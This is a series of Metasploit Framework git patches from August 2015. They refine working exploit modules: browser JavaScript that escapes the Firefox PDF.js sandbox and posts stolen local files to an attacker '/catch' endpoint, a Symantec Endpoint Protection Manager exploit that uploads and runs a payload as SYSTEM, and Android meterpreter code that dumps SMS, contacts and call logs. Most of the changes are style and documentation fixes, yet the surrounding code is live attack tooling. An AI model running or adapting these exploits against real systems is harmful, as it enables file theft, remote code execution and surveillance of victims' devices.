s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+ + '"position:absolute; left:-9999px;" onload = "'+_(function(){ + window.wrappedJSObject.sandboxContext=(function(cmd) { + with(importFunction.constructor('return this')()) { + return eval(cmd); + } + }); + }) + '"/>'); +} + + +var i = document.createElement("iframe"); +i.id = "i"; +i.width=i.height=0; +i.style='position:absolute;left:-9999px;'; +i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>"; +document.documentElement.appendChild(i); +i.onload = function() { + if (this.contentDocument.styleSheets.length > 0) { + var i2 = document.createElement("iframe"); + i2.id = "i2"; + i2.width=i2.height=0; + i2.style='position:absolute;left:-9999px;'; + i2.src = "data:application/pdf,"; + document.documentElement.appendChild(i2); + pdfBlob = new Blob([''], { + type: 'application/pdf' + }); + blobURL = URL.createObjectURL(pdfBlob); + object = document.createElement('object'); + object.data = 'data:application/pdf,'; + object.onload = (function() { + sandbox_context_i = setInterval(get_sandbox_context, 200); + object.onload = null; + object.data = 'view-source:' + location.href; + return; + }); + document.documentElement.appendChild(object); + } else { + this.contentWindow.location.reload(); + } +} + +var kill = setInterval(function() { + if (window.sandboxContext) { + clearInterval(kill); + } else { + return; + } +EOJS + end +end From f25a5da46f11e27aaacc8655015fc3f0568e78d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 12:37:49 -0500 Subject: [PATCH 0281/2172] Do Minor fixes --- lib/msf/util/payload_cached_size.rb | 8 ++++---- .../shared/examples/payload_cached_size_is_consistent.rb | 3 --- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index e299739664..0063b51ea1 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -14,7 +14,7 @@ module Util class PayloadCachedSize - @opts = { + OPTS = { 'Format' => 'raw', 'Options' => { 'CPORT' => 4444, @@ -81,7 +81,7 @@ class PayloadCachedSize # @return [Fixnum] def self.compute_cached_size(mod) return ":dynamic" if is_dynamic?(mod) - return mod.generate_simple(@opts).size + return mod.generate_simple(OPTS).size end # Determines whether a payload generates a static sized output @@ -92,7 +92,7 @@ class PayloadCachedSize # @return [Fixnum] def self.is_dynamic?(mod, generation_count=5) [*(1..generation_count)].map{|x| - mod.generate_simple(@opts).size}.uniq.length != 1 + mod.generate_simple(OPTS).size}.uniq.length != 1 end # Determines whether a payload's CachedSize is up to date @@ -102,7 +102,7 @@ class PayloadCachedSize def self.is_cached_size_accurate?(mod) return true if mod.dynamic_size? && is_dynamic?(mod) return false if mod.cached_size.nil? - mod.cached_size == mod.generate_simple(@opts).size + mod.cached_size == mod.generate_simple(OPTS).size end end diff --git a/spec/support/shared/examples/payload_cached_size_is_consistent.rb b/spec/support/shared/examples/payload_cached_size_is_consistent.rb index 0a687994e8..f1c02204e6 100644 --- a/spec/support/shared/examples/payload_cached_size_is_consistent.rb +++ b/spec/support/shared/examples/payload_cached_size_is_consistent.rb @@ -86,9 +86,6 @@ shared_examples_for 'payload cached size is consistent' do |options| include_context 'Msf::Simple::Framework#modules loading' - datastore = { - } - opts = { 'Format' => 'raw', 'Options' => { From 82193f11e7e758a6d0c4226e36e97c39eac7e912 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 14:45:29 -0500 Subject: [PATCH 0282/2172] Minor js fixes --- modules/auxiliary/gather/firefox_pdfjs_file_theft.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index 6d52a81cfa..6b776190dc 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -90,7 +90,9 @@ class Metasploit3 < Msf::Auxiliary proto = (datastore["SSL"] ? "https" : "http") myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" - "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + + "#{proto}://#{myhost}#{port_str}#{resource}/catch" end @@ -142,7 +144,9 @@ function get(path, callback, timeout, template, value) { }, "%url%", path); js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; sandboxContext(_(function() { + i = document.getElementById('i'); p = __proto(i.contentDocument.styleSheets[0].ownerNode); + i2 = document.getElementById('i2'); l = p.__lookupSetter__.call(i2.contentWindow, 'location'); l.call(i2.contentWindow, window.wrappedJSObject.js_call1); })); From a560496455e7b8e31e514b98c13d3cc75b216271 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 14:49:53 -0500 Subject: [PATCH 0283/2172] Do minor ruby style fixes --- .../gather/firefox_pdfjs_file_theft.rb | 27 ++++++++++--------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index 6b776190dc..80e049155d 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -14,12 +14,12 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Firefox PDF.js Browser File Theft', 'Description' => %q{ - This module abuses an XSS vulnerability in versions of Firefox 39.0.3, Firefox ESR - before 38.1.1, and Firefox OS before 2.2 that allows arbitrary files to be stolen. - The vulnerability occurs in the PDF.js component, which uses Javascript to render - a PDF inside a frame with privileges to read local files. The in-the-wild malicious - payloads searched for sensitive files on Windows, Linux, and OSX. Android versions - are reported to be unaffected, as they do not use the Mozilla PDF viewer. + This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR + 38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability + occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with + privileges to read local files. The in-the-wild malicious payloads searched for sensitive + files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they + do not use the Mozilla PDF viewer. }, 'Author' => [ 'Unknown', # From an 0day served on Russian news website @@ -74,25 +74,26 @@ class Metasploit3 < Msf::Auxiliary def process_post(cli, req) name = req.qstring['name'] - print_good "Received #{name}, size #{req.body.bytes.length}..." + print_good("Received #{name}, size #{req.body.bytes.length}...") output = store_loot( - name || "data", "text/plain", cli.peerhost, req.body, "firefox_theft", "Firefox PDF.js exfiltrated file" + name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file' ) - print_good "Stored to #{output}" + print_good("Stored to #{output}") end def html - exploit_js = js+file_payload+"}, 20);" + exploit_js = js + file_payload + '}, 20);' + "<!doctype html><html><body><script>#{exploit_js}</script></body></html>" end def backend_url - proto = (datastore["SSL"] ? "https" : "http") - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource - "#{proto}://#{myhost}#{port_str}#{resource}/catch" + "#{proto}://#{my_host}#{port_str}#{resource}/catch" end From 470779aae73b168a5b0bb060e2f294eb47d086e0 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 16:36:41 -0500 Subject: [PATCH 0284/2172] some doc fixes --- lib/msf/util/exe.rb | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 9cb5894d9a..ede493bed3 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -25,9 +25,9 @@ require 'msf/core/exe/segment_appender' # Generates a default template # # @param opts [Hash] The options hash - # @option opts [Hash] :template, the template type for the executable - # @option opts [Hash] :template_path, the path for the template - # @option opts [Hash] :fallback, If there are no options set, default options will be used + # @option opts [String] :template, the template type for the executable + # @option opts [String] :template_path, the path for the template + # @option opts [Bool] :fallback, If there are no options set, default options will be used # @param exe [String] Template type. If undefined, will use the default. # @param path [String] Where you would like the template to be saved. def self.set_template_default(opts, exe = nil, path = nil) @@ -66,7 +66,7 @@ require 'msf/core/exe/segment_appender' # self.read_replace_script_template # # @param filename [String] Name of the file - # @param hash_sub [String] + # @param hash_sub [Hash] def self.read_replace_script_template(filename, hash_sub) template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) @@ -77,8 +77,7 @@ require 'msf/core/exe/segment_appender' # Executable generators # - # - # @param arch [String] The architecture of the system (i.e x86, x64) + # @param arch [Array<String>] The architecture of the system (i.e :x86, :x64) # @param plat [String] The platform (i.e Linux, Windows, OSX) # @param code [String] # @param opts [Hash] The options hash @@ -189,7 +188,7 @@ require 'msf/core/exe/segment_appender' # @option opts [String] :sub_method # @option opts [String] :inject, Code to inject into the exe # @option opts [String] :template - # @option opts [String] :arch, Set to x86 by default + # @option opts [Symbol] :arch, Set to :x86 by default # @return [String] def self.to_win32pe(framework, code, opts = {}) @@ -932,7 +931,7 @@ require 'msf/core/exe/segment_appender' # segments as writable and overwrites the entrypoint (usually _start) with # the payload. # @param framework [Msf::Framework] The framework of you want to use - # @param opt [Hash] + # @param opts [Hash] # @option [String] :template # @param template [String] # @param code [String] From 4aa3be7ba2a9b6b4beab0acf74d98af8ea87aec1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 17:00:27 -0500 Subject: [PATCH 0285/2172] Do ruby fixing and use FileDropper --- .../windows/http/sepm_auth_bypass_rce.rb | 49 +++++++++++-------- 1 file changed, 28 insertions(+), 21 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 06e9a54757..f6deac9ab2 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -8,20 +8,21 @@ require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, - 'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE", + 'Name' => 'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution', 'Description' => %q{ - This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager - in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM + This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager + in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ - 'bperry', #metasploit module - 'Markus Wulftange' #discovery + 'Markus Wulftange', #discovery + 'bperry' # metasploit module ], 'References' => [ @@ -36,12 +37,14 @@ class Metasploit4 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', { - 'Arch' => ARCH_X86, - 'Payload' => { - 'DisableNops' => true + [ 'Automatic', + { + 'Arch' => ARCH_X86, + 'Payload' => { + 'DisableNops' => true + } } - } ], + ], ], 'Privileged' => true, 'DisclosureDate' => 'Jul 31 2015', @@ -58,7 +61,7 @@ class Metasploit4 < Msf::Exploit::Remote meterp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10) - print_status("Getting cookie") + print_status("#{peer} - Getting cookie...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), @@ -70,21 +73,21 @@ class Metasploit4 < Msf::Exploit::Remote } }) - unless res - fail_with(Failure::Unknown, 'The server did not respond in an expected way') + unless res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - The server did not respond in an expected way") end cookie = res.get_cookies - if cookie == nil || cookie == '' - fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') + if cookie.nil? || cookie.empty? + fail_with(Failure::Unknown, "#{peer} - The server did not return a cookie") end exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } - print_status('Uploading payload...') + print_status("#{peer} - Uploading payload...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -100,10 +103,12 @@ class Metasploit4 < Msf::Exploit::Remote }) unless res && res.code == 200 - fail_with(Failure::Unknown, 'Server did not respond in an expected way') + fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way") end - print_status("Uploading JSP page to execute the payload...") + register_file_for_cleanup("../tomcat/webapps/ROOT/#{meterp}.exe") + + print_status("#{peer} - Uploading JSP page to execute the payload...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -119,12 +124,14 @@ class Metasploit4 < Msf::Exploit::Remote }) unless res && res.code == 200 - fail_with(Failure::Unknown, 'Server did not respond in an expected way.') + fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way") end - print_status('Executing payload. Manual cleanup will be required.') + register_file_for_cleanup("../tomcat/webapps/ROOT/#{jsp}.jsp") + + print_status("#{peer} - Executing payload. Manual cleanup will be required.") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") - }) + }, 5) end end From b33abd72cefafb228f81b74eb5a65f7e05fd4890 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 14 Aug 2015 17:03:21 -0500 Subject: [PATCH 0286/2172] Complete description --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index f6deac9ab2..a61073ba6b 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -16,7 +16,9 @@ class Metasploit4 < Msf::Exploit::Remote 'Name' => 'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution', 'Description' => %q{ This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager - in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. + in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. The vulnerabilities + include an authentication bypass, a directory traversal and a privilege escalation to + get privileged code execution. }, 'License' => MSF_LICENSE, 'Author' => From 3aab9aa74c0c886616a0ea3f3ac9aedd5319bd38 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:13:11 -0500 Subject: [PATCH 0287/2172] move BSSID checker to tools, fixup rubocop warnings, add OS X example --- lib/rex/google_geolocation.rb | 22 ++-------------------- tools/google_geolocate_bssid.rb | 31 +++++++++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 20 deletions(-) create mode 100755 tools/google_geolocate_bssid.rb diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index 03284060d1..86d1527b65 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -10,7 +10,6 @@ module Rex # g.fetch! # puts g, g.google_maps_url class GoogleGeolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" attr_accessor :accuracy @@ -27,7 +26,7 @@ module Rex def fetch! @uri.query << @wlan_list.join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) - http = Net::HTTP::new(@uri.host,@uri.port) + http = Net::HTTP.new(@uri.host, @uri.port) http.use_ssl = true response = http.request(request) @@ -37,7 +36,7 @@ module Rex self.longitude = results["location"]["lng"] self.accuracy = results["accuracy"] else - raise "Failure connecting to Google for location lookup." + fail "Failure connecting to Google for location lookup." end end @@ -61,22 +60,5 @@ module Rex def to_s "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." end - end end - -if $0 == __FILE__ - if ARGV.empty? - $stderr.puts("Usage: #{$0} <mac> [mac] ...") - $stderr.puts("Ask Google for the location of the given set of BSSIDs") - $stderr.puts - $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$0}") - exit(1) - end - g = Rex::GoogleGeolocation.new - ARGV.each do |mac| - g.add_wlan(mac, nil, -83) - end - g.fetch! - puts g, g.google_maps_url -end diff --git a/tools/google_geolocate_bssid.rb b/tools/google_geolocate_bssid.rb new file mode 100755 index 0000000000..20b532cbce --- /dev/null +++ b/tools/google_geolocate_bssid.rb @@ -0,0 +1,31 @@ +#!/usr/bin/env ruby +# +# This tool asks Google for the location of a given set of BSSIDs +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'rex/google_geolocation' +require 'optparse' + +if ARGV.empty? + $stderr.puts("Usage: #{$PROGRAM_NAME} <mac> [mac] ...") + $stderr.puts("Ask Google for the location of the given set of BSSIDs") + $stderr.puts + $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$PROGRAM_NAME}") + $stderr.puts("Example: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I|awk '/BSSID/{print $2}'|xargs #{$PROGRAM_NAME}") + exit(1) +end + +g = Rex::GoogleGeolocation.new +ARGV.each do |mac| + g.add_wlan(mac, nil, -83) +end + +g.fetch! + +puts g, g.google_maps_url From f4031d87fcfef5b69b743b664c8805cd5fc6e912 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:17:00 -0500 Subject: [PATCH 0288/2172] light ruby style cleanups --- .../meterpreter/extensions/android/android.rb | 98 ++++++++----------- 1 file changed, 39 insertions(+), 59 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 957118fcbf..86ea185dc4 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -5,21 +5,16 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/channels/pools/stream_pool' - module Rex module Post module Meterpreter module Extensions module Android - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - - class Android < Extension - def initialize(client) super(client, 'android') @@ -30,88 +25,77 @@ class Android < Extension { 'name' => 'android', 'ext' => self - }, + } ]) end - + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) - return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value - end - + response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + def dump_sms - sms = Array.new + sms = [] request = Packet.create_request('dump_sms') response = client.send_request(request) - response.each( TLV_TYPE_SMS_GROUP ) { |p| - - sms << - { + response.each(TLV_TYPE_SMS_GROUP) do |p| + sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } - - } - return sms + end + sms end def dump_contacts - contacts = Array.new + contacts = [] request = Packet.create_request('dump_contacts') response = client.send_request(request) - response.each( TLV_TYPE_CONTACT_GROUP ) { |p| - - contacts << - { + response.each(TLV_TYPE_CONTACT_GROUP) do |p| + contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } - - } - return contacts + end + contacts end def geolocate - - loc = Array.new + loc = [] request = Packet.create_request('geolocate') response = client.send_request(request) - loc << - { + loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } - return loc + loc end def dump_calllog - log = Array.new + log = [] request = Packet.create_request('dump_calllog') response = client.send_request(request) - response.each(TLV_TYPE_CALLLOG_GROUP) { |p| - - log << - { + response.each(TLV_TYPE_CALLLOG_GROUP) do |p| + log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } - - } - return log + end + log end def check_root @@ -120,41 +104,37 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end - def send_sms(dest,body,dr) + def send_sms(dest, body, dr) request = Packet.create_request('send_sms') - request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) - request.add_tlv(TLV_TYPE_SMS_BODY,body) - request.add_tlv(TLV_TYPE_SMS_DR,dr) + request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) + request.add_tlv(TLV_TYPE_SMS_BODY, body) + request.add_tlv(TLV_TYPE_SMS_DR, dr) if dr == false - response=client.send_request(request) - sr=response.get_tlv(TLV_TYPE_SMS_SR).value + response = client.send_request(request) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value return sr else - response=client.send_request(request,30) - sr=response.get_tlv(TLV_TYPE_SMS_SR).value - dr=response.get_tlv(TLV_TYPE_SMS_SR).value - return [sr,dr] + response = client.send_request(request, 30) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + dr = response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr, dr] end end def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,30) - networks=[] - response.each( TLV_TYPE_WLAN_GROUP ) { |p| - - networks << - { + response = client.send_request(request, 30) + networks = [] + response.each(TLV_TYPE_WLAN_GROUP) do |p| + networks << { 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) } - - } - return networks + end + networks end end - end end end From 82e1181ccb9dca89bd926e977d3955c2f9d415f0 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:38:54 -0500 Subject: [PATCH 0289/2172] update to metasploit-payloads 1.0.8 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index b93b5fb156..8eb7bd06d0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.7) + metasploit-payloads (= 1.0.8) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.7) + metasploit-payloads (1.0.8) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4a4436e160..eb2924b3bd 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.7' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.8' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From 3615bd094d84d6d6e5b52fa4f190ca875f3bb31d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 14 Aug 2015 17:58:33 -0500 Subject: [PATCH 0290/2172] limit the # of bssids sent to google, log more error details --- lib/rex/google_geolocation.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index 86d1527b65..62597c1012 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -24,7 +24,7 @@ module Rex # Ask Google's Maps API for the location of a given set of BSSIDs (MAC # addresses of access points), ESSIDs (AP names), and signal strengths. def fetch! - @uri.query << @wlan_list.join("&wifi=") + @uri.query << @wlan_list.take(10).join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) http = Net::HTTP.new(@uri.host, @uri.port) http.use_ssl = true @@ -36,7 +36,9 @@ module Rex self.longitude = results["location"]["lng"] self.accuracy = results["accuracy"] else - fail "Failure connecting to Google for location lookup." + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri.to_s}" if response + fail msg end end From 42e08cbe0706507dc9fb683cf8eaed232be3486c Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 14 Aug 2015 19:50:42 -0500 Subject: [PATCH 0291/2172] Fix bad use of get_profile (now browser_profile) --- modules/exploits/windows/browser/adobe_flash_avm2.rb | 2 +- .../windows/browser/adobe_flash_filters_type_confusion.rb | 2 +- modules/exploits/windows/browser/adobe_flash_pcre.rb | 2 +- modules/exploits/windows/browser/adobe_flash_regex_value.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 09aacbcc77..7815ef80db 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index e6a4e7468c..ac3e425873 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end diff --git a/modules/exploits/windows/browser/adobe_flash_pcre.rb b/modules/exploits/windows/browser/adobe_flash_pcre.rb index d922dfbb3c..f000571844 100644 --- a/modules/exploits/windows/browser/adobe_flash_pcre.rb +++ b/modules/exploits/windows/browser/adobe_flash_pcre.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index d5bc974bc1..7cd4e5d44e 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ 